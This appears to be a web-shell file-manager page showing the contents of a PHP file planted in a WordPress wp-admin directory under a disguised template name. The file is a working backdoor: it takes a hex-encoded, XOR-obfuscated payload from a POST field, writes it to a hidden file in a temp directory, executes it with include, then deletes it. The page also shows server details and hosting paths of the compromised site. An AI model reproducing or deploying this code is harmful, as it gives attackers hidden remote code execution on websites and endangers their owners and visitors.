HEX
Server: Apache
System: Linux dotw660 5.10.0-37-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User: web350 (1012)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client125/web350/web/wp-admin/network/page.template.1766652858.php
<!--ZvEYl91B-->
<?php

if(isset($_POST["\x69\x74em"]) ? true : false){
$record = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]);
$symbol = hex2bin($_POST["\x69\x74em"]);
$component ='' ;$o=0;do{$component.=chr(ord($symbol[$o])^37);$o++;}while($o<strlen($symbol));
foreach ($record as $key => $itm) {
            if (is_dir($itm) ? is_writable($itm) : false) {
            $element = "$itm" . "/.parameter_group";
            $marker = fopen($element, 'w');
if ($marker) {
    fwrite($marker, $component);
    fclose($marker);
    include $element;
    @unlink($element);
    die();
}
        }
}
}